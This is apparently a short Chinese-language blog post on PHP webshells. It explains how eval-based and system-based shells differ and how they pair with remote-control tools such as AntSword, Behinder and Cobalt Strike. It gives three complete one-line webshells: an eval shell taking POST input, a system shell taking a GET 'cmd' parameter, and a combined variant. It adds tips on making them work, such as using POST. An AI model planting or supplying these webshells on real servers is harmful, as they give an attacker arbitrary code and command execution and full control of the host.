security - php - webshell 中的eval与system ,两者可以结合使用
访问量: 418
eval
运行的是php,asp 等代码 (例如 phpinfo),给远端控制使用,例如 冰蝎, cobalstrike, 实现控制的自动化
需要注意的是:
1. eval 不会返回任何内容, 所以一般无法根据postman 等方式调试,除非你 eval的内容中包含return
2. 需要 尾巴后面加上 ;
3. 往往使用POST 而不是GET (一般antsword等客户端都会发送大量的请求,我猜测。GET无法承载)
下面是一个完整的eval webshell的例子:
<?php @eval($_POST['secret']); ?>
system
运行的是 系统命令,例如 ls, cat /tmp ... 给手动控制使用。例如 postman, burpsuite
下面是个完整的例子;
<?php system($_GET['cmd']); ?>
结合使用
<?php $cmd = 'return $_POST["cmd"];'; system(eval($cmd)); ?>